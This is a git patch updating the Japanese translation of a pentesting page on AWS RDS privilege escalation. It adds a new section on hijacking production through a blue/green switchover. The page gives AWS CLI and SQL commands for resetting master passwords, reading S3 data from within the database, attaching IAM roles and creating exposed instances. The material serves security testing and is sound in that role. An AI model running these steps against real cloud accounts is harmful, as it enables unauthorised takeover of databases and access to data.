From dd830b41ce73f71d2e3bdbb80043784d484ee509 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 13 Jan 2026 13:31:36 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat --- .../aws-rds-privesc/README.md | 74 ++++++++++++------- 1 file changed, 47 insertions(+), 27 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md index 507059b4c..8011a9e81 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md @@ -12,7 +12,7 @@ For more information about RDS check: ### `rds:ModifyDBInstance` -その権限があれば攻撃者は**マスターユーザーのパスワードを変更**でき、データベースへのログインを行うことができます: +その権限があれば、攻撃者は**マスターユーザーのパスワードを変更**し、データベース内のログインを変更できます: ```bash # Get the DB username, db name and address aws rds describe-db-instances @@ -27,30 +27,30 @@ aws rds modify-db-instance \ psql postgresql://:@:5432/ ``` > [!WARNING] -> データベースに**接続できる必要があります**(通常はネットワーク内部からのみアクセス可能です)。 +> **データベースに接続できる必要があります**(通常はネットワーク内部からのみアクセス可能です)。 -**潜在的な影響:** データベース内の機密情報を発見する可能性があります。 +**Potential Impact:** データベース内の機密情報を見つけることができる。 ### rds-db:connect -この[**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html)によると、この権限を持つユーザーはDBインスタンスに接続できます。 +According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance. -### Abuse RDS Role IAM permissions +### RDS Role の IAM 権限を悪用する #### Postgresql (Aurora) > [!TIP] -> **`SELECT datname FROM pg_database;`** を実行して **`rdsadmin`** というデータベースが見つかれば、**AWS postgresql database** の内部にいることがわかります。 +> If running **`SELECT datname FROM pg_database;`** you find a database called **`rdsadmin`** you know you are inside an **AWS postgresql database**. -まず、このデータベースが他のAWSサービスへアクセスするために使用されているかどうかを確認できます。インストールされている拡張機能を確認してみてください: +まず、このデータベースが他のAWSサービスにアクセスするために使われたかどうかを確認できます。インストールされている拡張機能を確認して調べられます: ```sql SELECT * FROM pg_extension; ``` -もし **`aws_s3`** のようなものを見つけたら、このデータベースは S3 に対する何らかのアクセス権を持っていると推定できます(他にも **`aws_ml`** や **`aws_lambda`** といった拡張があります)。 +もし **`aws_s3`** のようなものを見つけたら、このデータベースは **S3 に対する何らかのアクセス権** を持っていると想定できます(他にも **`aws_ml`** や **`aws_lambda`** のような拡張があります)。 -また、**`aws rds describe-db-clusters`** を実行する権限があれば、出力の **`AssociatedRoles`** フィールドで **cluster に何かしらの IAM Role が紐付けられているか** を確認できます。もし紐付いていれば、そのデータベースは他の AWS サービスにアクセスするように準備されていると考えられます。ロールの **name**(あるいはロールの **permissions** を取得できれば)から、データベースがどのような追加アクセス権を持っているかを **推測** できます。 +また、**`aws rds describe-db-clusters`** を実行する権限があれば、フィールド **`AssociatedRoles`** で **クラスターに IAM ロールがアタッチされているかどうか** を確認できます。もしあれば、そのデータベースは **他の AWS サービスにアクセスするよう準備されている** と考えられます。ロールの**名前**に基づいて(あるいはロールの**権限**を取得できれば)、データベースがどのような追加アクセスを持っているか**推測**できます。 -さて、バケット内のファイルを **読み取る** にはフルパスを知る必要があります。以下のように読み取れます: +今、**bucket 内のファイルを読む**には、フルパスを知っている必要があります。次のコマンドで読み取れます: ```sql // Create table CREATE TABLE ttemp (col TEXT); @@ -71,7 +71,7 @@ SELECT * from ttemp; // Delete table DROP TABLE ttemp; ``` -もし**生のAWS認証情報**があれば、S3データにアクセスするためにそれらを使うこともできます: +もし**raw AWS credentials**を持っていれば、それらを使ってS3のデータに次のようにアクセスすることもできます: ```sql SELECT aws_s3.table_import_from_s3( 't', '', '(format csv)', @@ -80,18 +80,18 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') ); ``` > [!NOTE] -> Postgresql は S3 にアクセスするために **パラメータグループの変数を変更する必要はありません**。 +> Postgresql **S3にアクセスするためにパラメータグループ変数を変更する必要はありません**。 #### Mysql (Aurora) > [!TIP] -> mysql 内で、クエリ **`SELECT User, Host FROM mysql.user;`** を実行して **`rdsadmin`** というユーザーが存在する場合、**AWS RDS mysql db** 内にいると見なせます。 +> mysql の中でクエリ **`SELECT User, Host FROM mysql.user;`** を実行して **`rdsadmin`** というユーザーが存在する場合、**AWS RDS mysql db** 内にいると推定できます。 -mysql 内で **`show variables;`** を実行し、**`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** のような変数に値がある場合、そのデータベースは S3 データにアクセスする準備ができていると見なせます。 +mysql 内で **`show variables;`** を実行し、**`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** のような変数に値が設定されていれば、データベースが S3 データにアクセスする準備ができていると判断できます。 -また、**`aws rds describe-db-clusters`** を実行する権限がある場合、クラスタに **associated role** があるか確認できます(通常は AWS サービスへのアクセスを意味します)。 +また、**`aws rds describe-db-clusters`** を実行する権限があれば、クラスターに **関連付けられたロール** があるか確認できます(通常は AWS サービスへのアクセスを意味します)。 -Now, to **read a file inside a bucket** you need to know the full path. You can read it with: +では、**バケット内のファイルを読み取る**にはフルパスを知っている必要があります。以下のように読み取れます: ```sql CREATE TABLE ttemp (col TEXT); LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); @@ -100,16 +100,16 @@ DROP TABLE ttemp; ``` ### `rds:AddRoleToDBCluster`, `iam:PassRole` -権限 `rds:AddRoleToDBCluster` と `iam:PassRole` を持つ攻撃者は、既存の RDS インスタンスに **指定したロールを追加する** ことができます。これにより、攻撃者は **機密データにアクセスする** またはインスタンス内のデータを変更する可能性があります。 +これらの権限 (`rds:AddRoleToDBCluster` と `iam:PassRole`) を持つ攻撃者は、既存の RDS インスタンスに指定したロールを**追加することができます**。これにより攻撃者は**機密データにアクセスしたり**、インスタンス内のデータを変更したりできる可能性があります。 ```bash aws add-role-to-db-cluster --db-cluster-identifier --role-arn ``` -**Potential Impact**: RDS インスタンス内の機密データへのアクセス、またはデータの不正な変更。\ -Note that some DBs require additional configs such as Mysql, which needs to specify the role ARN in the aprameter groups also. +**潜在的な影響**: RDS インスタンス内の機密データへのアクセスやデータの不正な変更が発生する可能性があります。\ +一部の DB(例えば Mysql)は追加の設定が必要で、role ARN を aprameter groups に指定する必要がある点に注意してください。 ### `rds:CreateDBInstance` -この権限だけで攻撃者は既に存在し **IAM role** がアタッチされたクラスタ内に **新しいインスタンス** を作成できる可能性があります。マスターユーザーのパスワードを変更することはできませんが、新しいデータベースインスタンスをインターネットに公開してしまうかもしれません: +この権限のみで、攻撃者は**new instance inside a cluster**を作成できます。対象のクラスタは既に存在し、**IAM role** がアタッチされている必要があります。マスター ユーザーのパスワードを変更することはできませんが、新しいデータベースインスタンスをインターネットに公開してしまう可能性があります: ```bash aws --region eu-west-1 --profile none-priv rds create-db-instance \ --db-instance-identifier mydbinstance2 \ @@ -124,14 +124,14 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \ > [!NOTE] > TODO: テスト -`rds:CreateDBInstance` と `iam:PassRole` の権限を持つ攻撃者は、指定したロールをアタッチした新しい RDS インスタンスを **作成することができます**。攻撃者はその後、インスタンス内の **機密データにアクセスする** か、データを改変する可能性があります。 +権限 `rds:CreateDBInstance` と `iam:PassRole` を持つ攻撃者は、**指定したロールをアタッチした新しい RDS インスタンスを作成することができます**。攻撃者はその後、インスタンス内の**機密データにアクセス**したり、データを改ざんしたりする可能性があります。 > [!WARNING] -> アタッチする role/instance-profile のいくつかの要件([**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html) より): +> アタッチする role/instance-profile のいくつかの要件(詳細は[**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): > - プロファイルはあなたのアカウントに存在している必要があります。 -> - プロファイルには、Amazon EC2 が assume(引き受ける)権限を持つ IAM ロールが設定されている必要があります。 -> - インスタンスプロファイル名とそれに関連する IAM ロール名は、プレフィックス `AWSRDSCustom` で始まる必要があります。 +> - プロファイルは、Amazon EC2 が assume する権限を持つ IAM ロールを含んでいる必要があります。 +> - instance profile 名と関連する IAM ロール名はプレフィックス `AWSRDSCustom` で始まる必要があります。 ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole ``` @@ -139,13 +139,33 @@ aws rds create-db-instance --db-instance-identifier malicious-instance --db-inst ### `rds:AddRoleToDBInstance`, `iam:PassRole` -権限 `rds:AddRoleToDBInstance` と `iam:PassRole` を持つ攻撃者は、**既存の RDS インスタンスに指定したロールを追加することができます**。これにより、攻撃者が**機密データへアクセス**したり、インスタンス内のデータを変更したりする可能性があります。 +これらの権限(`rds:AddRoleToDBInstance` と `iam:PassRole`)を持つ攻撃者は、既存の RDS インスタンスに**指定したロールを追加する**ことができます。これにより攻撃者はインスタンス内の**機密データにアクセス**したり、データを変更したりできる可能性があります。 > [!WARNING] -> この操作では DB インスタンスがクラスタの外にある必要があります。 +> この操作は、DB インスタンスがクラスターの外にある必要があります。 ```bash aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name ``` -**潜在的な影響**: RDS インスタンス内の機密データへのアクセス、またはデータの無断変更。 +**潜在的な影響**: RDS インスタンス内の機密データへのアクセスや、データの不正な改変が行われる可能性があります。 + +### `rds:CreateBlueGreenDeployment`, `rds:AddRoleToDBCluster`, `iam:PassRole`, `rds:SwitchoverBlueGreenDeployment` + +これらの権限を持つ攻撃者は、本番データベースをクローン(Blue)し、クローン(Green)に高権限の IAM ロールを付与して、switchover を使って本番環境と置き換えることができます。これにより、攻撃者はデータベースの権限を昇格させ、他の AWS リソースへ不正にアクセスできるようになります。 +```bash +# Create a Green deployment (clone) of the production cluster +aws rds create-blue-green-deployment \ +--blue-green-deployment-name \ +--source + +# Attach a high-privilege IAM role to the Green cluster +aws rds add-role-to-db-cluster \ +--db-cluster-identifier \ +--role-arn + +# Switch the Green environment to Production +aws rds switchover-blue-green-deployment \ +--blue-green-deployment-identifier +``` +**潜在的影響**: 本番データベース環境の完全な乗っ取り。スイッチオーバー後、データベースは昇格した権限で動作し、データベース内部から他の AWS サービス(例:S3、Lambda、Secrets Manager)への不正なアクセスを可能にします。 {{#include ../../../../banners/hacktricks-training.md}}